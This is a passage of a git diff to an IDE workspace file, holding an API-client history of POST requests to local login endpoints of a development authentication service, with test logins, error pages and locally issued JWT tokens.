diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index 8d693e8..03a0229 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -4,118 +4,83 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -128,8 +93,8 @@
@@ -178,6 +143,7 @@
"ASKED_SHARE_PROJECT_CONFIGURATION_FILES": "true",
"ApiPost:METDOD_SEND_RECORD:etl-auth": "{\"/login\":[{\"url\":\"http://localhost:9090/login\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"roles\\\": \\\"员工\\\",\\n \\\"username\\\": \\\"张三\\\",\\n \\\"password\\\": \\\"李四\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"用户不存在\\\",\\n \\\"data\\\": \\\"张三\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":21},\"time\":{\"hour\":16,\"minute\":51,\"second\":31,\"nano\":703777500}}}]}",
"ApiPost:METDOD_SEND_RECORD:etl-auth-server": "{\"/login\":[{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\\n{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:07:23 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dUnsupported Media Type, status\\u003d415).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":7.0,\"second\":23.0,\"nano\":9.729855E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:07:37 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":7.0,\"second\":37.0,\"nano\":1.949279E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:09:22 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":9.0,\"second\":22.0,\"nano\":9.608351E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:21:13 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":21.0,\"second\":13.0,\"nano\":6.798832E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 14:23:28 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":14.0,\"minute\":23.0,\"second\":28.0,\"nano\":7.10659E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:02:32 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":2.0,\"second\":32.0,\"nano\":3.731298E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:22:18 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":22.0,\"second\":18.0,\"nano\":5.834518E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:22:44 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":22.0,\"second\":44.0,\"nano\":1.305351E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":26.0,\"second\":10.0,\"nano\":8.168256E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":6.0,\"nano\":1.442263E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":38.0,\"second\":15.0,\"nano\":8.886247E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/login\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 09:39:05 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":39.0,\"second\":5.0,\"nano\":3.175089E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"roles\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":41.0,\"second\":23.0,\"nano\":6.34276E7}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":42.0,\"second\":6.0,\"nano\":3.352958E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":45.0,\"second\":43.0,\"nano\":2866900.0}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":55.0,\"second\":32.0,\"nano\":5.916648E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":9.0,\"minute\":55.0,\"second\":32.0,\"nano\":8.777288E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":4.0,\"second\":25.0,\"nano\":9.910561E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":11.0,\"second\":4.0,\"nano\":7.702767E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":12.0,\"second\":38.0,\"nano\":4.594016E8}}}],\"/user/login\":[{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"message\\\": \\\"用户登录成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":14.0,\"second\":17.0,\"nano\":5.39327E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"message\\\": \\\"用户登录成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":14.0,\"second\":37.0,\"nano\":6.04919E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY2NTEyLCJjcmVhdGVkIjoxNzE5MzY0NzEyMDk5LCJ1c2VybmFtZSI6ImxpeiJ9.PqHwmUq7P3qBycs4zSSsqmwv6YMB4LPExFzg0DFf6A0siQQfSE-10A22gD5YCSmCzy_GtmIqBW_DdVhJVgkoMQ\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY4MzEyLCJjcmVhdGVkIjoxNzE5MzY0NzEyMjMzLCJ1c2VybmFtZSI6ImxpeiJ9.pE4TGC93PEsMih2rgk-6iU7aMVERki_98NzCQzVbfeTRhp7ydaeYy1DoeiwQStodKBlcPHcA7zpn6Edav9Aa6g\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":18.0,\"second\":32.0,\"nano\":2.932677E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":35.0,\"second\":54.0,\"nano\":4.45322E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":21.0,\"nano\":6.424976E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":35.0,\"nano\":6.293932E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY3NjE2LCJjcmVhdGVkIjoxNzE5MzY1ODE2NTEyLCJ1c2VybmFtZSI6ImxpeiJ9.E15cbVTLTq5RTj4liTLr4kdakLyKIdggOA30sbj7Exibm8Edj2KAL0XL79gtU5jn2pVPOc_COXMr8DUjv7P4FQ\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY5NDE2LCJjcmVhdGVkIjoxNzE5MzY1ODE2NTEzLCJ1c2VybmFtZSI6ImxpeiJ9.dUa7sHN-4sE7C7WaYap66VF6CQzl4WX8ERlDFuhCalJg5rmNOA7sZbyL8kWujHdHPBi2z9D9XlYRkcxdBrWgFw\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":56.0,\"nano\":5.807303E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":42.0,\"second\":12.0,\"nano\":6.24302E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": 